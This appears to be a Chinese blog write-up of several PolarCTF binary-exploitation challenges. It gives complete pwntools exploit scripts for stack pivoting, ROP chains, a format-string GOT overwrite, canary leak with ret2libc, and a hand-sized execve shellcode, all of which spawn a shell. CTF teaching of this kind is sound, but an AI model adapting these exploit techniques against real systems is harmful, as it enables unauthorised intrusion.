Polarctf-pwn(困难)
本文最后更新于155 天前,其中的信息可能已经过时,如有错误请发送邮件到1797527477@qq.com

8字节能干什么

image-20250815171755875

两次读入且每次都能覆盖ebp和返回地址,printf打印结果,容易考虑到栈迁移,而且程序给了system函数,把system写入栈上,在栈迁移到system,并写入/bin/sh执行即可

要迁移到栈就需要知道栈地址,而通过打印ebp的值再减去偏移就能获得栈上的任意地址

利用第一次读入输出ebp

exp

from pwn import*
context(arch='i386',os='linux',log_level='debug')

#p=remote('1.95.36.136',2131)
p=process('./pwn')

leave_ret=0x8048488
system=0x80483E0
payload=b'a'*(0x30)
p.send(payload)#这里注意用send,sendline的'\n'会将ebp低字节覆盖
p.recvuntil(b'a'*(0x30))
ebp=u32(p.recv(4))
print('ebp>',hex(ebp))

![](http://38.175.194.203/wp-content/uploads/2025/10/屏幕截图 2025-08-15 172746.png)

通过调试确定输入的起始地址(buf)

print_addr是输出的地址,与起始地址之间的偏移为0x40,减去0x40即可得到起始地址

第二次读入则构造栈迁移

payload=b'aaaa'+p32(system)+p32(0)+p32(buf+0x10)+b'/bin/sh'
payload=payload.ljust(0x30,b'\x00')+p32(buf)+p32(leave_ret)

前面4个a用来应对第二次pop ebp;确保system被pop eip;把/bin/sh写入到距输入点(buf)0x10的位置作为参数,最后再利用栈迁移到system

完整exp

from pwn import*
context(arch='i386',os='linux',log_level='debug')

#p=remote('1.95.36.136',2131)
p=process('./pwn')

leave_ret=0x8048488
system=0x80483E0
payload=b'a'*(0x30)
#gdb.attach(p)
p.send(payload)
#pause()
p.recvuntil(b'a'*(0x30))
ebp=u32(p.recv(4))
print('ebp>',hex(ebp))
buf=ebp-0x40
payload=b'aaaa'+p32(system)+p32(0)+p32(buf+0x10)+b'/bin/sh'
payload=payload.ljust(0x30,b'\x00')+p32(buf)+p32(leave_ret)
p.sendline(payload)
p.interactive()

easyrop

拿到附件,先查看一下保护机制

image-20250823120507377

64程序,用栈传参

接下来看题

image-20250823120619541

简单的栈溢出,且程序给了system和bin_sh的地址,不过是分开的

image-20250823120703398

image-20250823120736922

那么只需要用rdi存储bin_sh在调用system就行了(使用ROPgadget工具查找pop rdi;ret)

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

p=remote('1.95.36.136',2144)
#p=process('./easyrop1')
system=0x400590
bin_sh=0x601050
pop_rdi=0x400813
ret=0x400569
payload=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
#gdb.attach(p)
p.sendline(payload)
#pause()
p.interactive()

这里注意一下64位程序是需要栈对齐的因此还要加上一个ret指令

格式化

image-20250822181950871

image-20250822182311987

简单分析一下不难发现程序提供两次输入和打印,且给了getshell函数,于是很容易想到利用got劫持,第一次就将printf的got劫持到getshell,然后第二次调用printf时就能直接执行system(‘/bin/sh’)

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2150)
p=process('./format')
elf=ELF('./format')
printf_got=elf.got['printf']
getshell=0x400805
payload=fmtstr_payload(6,{printf_got:getshell})
#gdb.attach(p)
p.sendline(payload)
#pause()
p.sendline(b'aaaa')
p.interactive()

下面结合gdb具体演示一遍劫持got的过程,在第一次发送payload时下断点

image-20250822190004870

此时是刚发送完第一个payload后栈的结构,可以看到红框中的部分就是我们发送的格式化字符串payload即fmtstr_payload,那么下面解释一下这个payload

payload=fmtstr_payload(6,{printf_got:getshell})

第一个参数6代表偏移,花括号里的部分表示往printf_got的地址里写入getshell地址

那么接下来看下这串格式化字符串

%2053c%9$lln%59c%10$hhna

十进制2053化十六进制为0x805,后面%9$lln表示将0x805写入第9个参数也就是0x601028(printf函数的got地址)中,且写入字节长度为8字节(lln代表写入8字节)

image-20250822190153133

可以看到初始时0x601028的前8字节中存储了一个地址(由于printf函数还没调用,其实是指向重定位函数的地址,不懂的话可以去了解一下plt和got表的知识,这里不过多解释),那么执行%2053c%9$lln后0x601028中存储的内容就应变为0x0000000000000805,后面又输出59字节的长度加上前面的2053一共是2112(0x840),并将0x840写入第10个参数0x60102a(%n是将之前全部已输出的字节写入指定参数),且写入长度是1字节(hhn代表1字节),那么其实就只是将0x40写入到0x60102a中,那么最终0x601028中存储的就是0x0000000000400805(getshell)

image-20250822191629137

执行完printf后0x601028中存储的就是getshell,那么第二次调用printf时就会通过got劫持到getshell,拿到控制权

stack_pivotingx86

image-20250909105209459

两次读入,看读入长度很明显要利用栈迁移,且中间有puts输出,还给了system和/bin/sh,那么可以利用第一次读入把rbp中存储的值给打印出来,由于这个值与rbp本身的偏移是一定的而rbp与我们输入点buf所在栈地址处的偏移也是一定的,那么可以直接用rbp存储的值减去两个偏移量间接获得buf地址,后面第二次读入再利用栈迁移就行

exp

from pwn import*
context(arch='i386',os='linux',log_level='debug')

#p=remote('1.95.36.136',2098)
p=process('./stack_pivotingx86')
elf=ELF('./stack_pivotingx86')

system=elf.plt['system']
bin_sh=0x0804A030
leave_ret=0x8048666
#gdb.attach(p)
p.recvuntil(b'Please input your name:\n')
p.sendline(b'a'*(0x27))
#pause()
p.recvuntil(b'\n')
addr=u32(p.recv(4))
log.success('addr>'+hex(addr))
p.recvuntil(b'Would you like tell me some message:\n')
payload=p32(system)+p32(0)+p32(bin_sh)
payload=payload.ljust(0x28,b'\x00')+p32(addr-0x10-0x28-4)+p32(leave_ret)
#pause()
p.sendline(payload)
#pause()
p.interactive()

在第一次读入后下断点gdb调试

image-20250909110313709

很明显我们泄露出的地址与buf相差0x10+0x28,即第二次输入的system就位于addr-0x10-0x28处,后面在写入返回地址和参数,第二次输入的的rbp位再减4是由于栈迁移原理要抬高四字节,否则无法正确执行system

format_ret2libc

给了两个主要函数secret和setstring

image-20250904183427888

再看下程序的保护机制

image-20250904183755101

开启了栈保护

secret函数显然不能栈溢出但结合printf,却能泄露栈上任意地址,setstring函数能进行栈溢出,那么思路就是利用第一次输入泄露canary,第二次利用ret2libc

先泄露canary

exp

from pwn import*
from LibcSearcher import*

context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2071)
p=process('./format')
elf=ELF('./format')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400943
ret=0x4005d9

setstring=0x40084B
p.sendline(b'%39$p')
p.recvuntil(b'0x')
canary=int(p.recv(16),16)

image-20250904184612768

结合gdb的调试知道canary在栈中的位置,可以看到已经正确泄露canary(一般以’\x00’结尾)

后面就是利用ret2libc了

完整exp

from pwn import*
from LibcSearcher import*

context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2071)
p=process('./format')
elf=ELF('./format')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400943
ret=0x4005d9

setstring=0x40084B
p.sendline(b'%39$p')
p.recvuntil(b'0x')
canary=int(p.recv(16),16)

payload=b'a'*(0x68)+p64(canary)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(setstring)
p.sendline(payload)
puts_real=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real>'+hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload=b'a'*(0x68)+p64(canary)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload)

p.interactive()

stack

image-20250814192138672

只能覆盖掉rbp,由此想到通过覆盖掉rbp,把栈迁移

显然,想要执行system必须满足两个条件,而我们只能控制v4的值,因此要让rbp-4与passwd指向同一地址,伪造rbp为&passwd-4,则能同时满足

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2100)
p=process('./stack')

rbp=0x4033CC+4
payload=b'a'*(0x50)+p64(rbp)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'input1:')

p.sendline(b'4660')

p.interactive()

bllbl_shellcode4

分析程序可知主要提供两个函数,先来看sub_401216

image-20250812192656281

mprotect函数使得0x4040c0地址开始(包括之前)的bss段都可执行,且给了/bin/sh的地址

再看sub_401306

image-20250817170405797

显然可以进行栈溢出但长度不够,于是想到先迁移到bss可执行段,再编写shellcode控制程序执行

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2104)
p=process('./pwn1')
elf=ELF('./pwn1')

bss=0x4040C0
read=0x401335
sub_rsp_x15=0x40136A
bin_sh=0x40203F

payload=b'a'*9+p64(bss)+p64(read)
p.recvuntil(b'welcome to PolarCTF Summer Games')
p.sendline(payload)

值得注意的是有个隐藏函数提供了一个有用的gadget

这样在编写shellcode时可以利用这个gadget跳转回去执行我们的代码

本题的难点就在于怎么编写shellcode,使其能够跳转到合理的位置执行代码

我们首先通过pop一个bss可执行段上的地址当做伪造的rbp,再返回read函数开始传参的地址

上述代码执行后就会将我们给的bss-9当做输入的起始地址,然后接下来就是编写shellcode了

bss-9加上伪造的rbp一共占17个字节(这一段用来构造shellcode),接下来的返回地址就要覆盖成sub_rsp_x15返回去执行shellcode,但具体会返回到哪个位置,调试一下会更清楚

先看下这部分的exp,shellcode稍后解释

shellcode='''
nop;
nop;
nop;
nop;
mov al,0x3b;
mov edi,0x40203F;
mov esi,ebx;
mov edx,esi;
syscall;
'''
shellcode=asm(shellcode)
print('shellcode>>',len(shellcode))
shellcode+=p64(sub_rsp_x15)
gdb.attach(p)
p.sendline(shellcode)
pause()
p.interactive()

这里其实是需要控制shellcode刚好是17个字节这样后面才能覆盖返回地址,方便起见我编写的shellcode就刚好到了17字节(其实是需要进行各种尝试控制shellcode到17字节),然后接下来进行调试

第二次read后执行到ret处,此时的rsp指向0x4040c8,存储的正是我们覆盖的返回地址0x40136a,执行后

![](http://38.175.194.203/wp-content/uploads/2025/10/屏幕截图 2025-08-13 115137.png)

jmp rsp执行后

![](http://38.175.194.203/wp-content/uploads/2025/10/屏幕截图 2025-08-13 115532.png)

这里实际上是跳过了前面4个nop空指令,至于为什么要用到4个空指令,其是因为执行完返回地址后rsp来到了距输入点9+8+8=0x19的位置,而此时的rip将执行sub rsp 0x15;执行完jmp rsp;后来到距输入点0x19-0x15=0x4的位置,即我们需要将前4个字节填充为空指令才能正确执行shellcode,接下来就只能将后续shellcode编写到17-4=13字节,就需要尽可能的缩短shellcode长度,凑巧的是按照如下编写

shellcode='''
nop;
nop;
nop;
nop;
mov al,0x3b;
mov edi,0x40203F;
mov esi,ebx;
mov edx,esi;
syscall;
'''

除去前面4个nop,后面长度刚好达到13字节,满足我们对shellcode的要求(这个地方还是需要不断尝试的)这里推荐一个汇编转机器语的网站

汇编

完整exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2104)
p=process('./pwn1')
elf=ELF('./pwn1')

bss=0x4040C0
read=0x401335
sub_rsp_x15=0x40136A
bin_sh=0x40203F

payload=b'a'*9+p64(bss)+p64(read)
p.recvuntil(b'welcome to PolarCTF Summer Games')
#gdb.attach(p)
p.sendline(payload)
#pause()

shellcode='''
nop;
nop;
nop;
nop;
mov al,0x3b;
mov edi,0x40203F;
mov esi,ecx;
mov edx,ecx;
syscall;
'''
shellcode=asm(shellcode)
print('shellcode>>',len(shellcode))
shellcode+=p64(sub_rsp_x15)
#gdb.attach(p)
p.sendline(shellcode)
#pause
p.interactive()

还有个需要注意的点是execve函数的第二三个参数要控制为0需要找到合适的寄存器,本地环境和远程略有不同,本地执行到shellcode时ecx为0(如上exp),而远程则ebx为0,不管怎样,多尝试几个寄存器就好啦

有些看不见的手指,如懒懒的微飔似的,正在我的心上,奏着潺湲的乐声。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇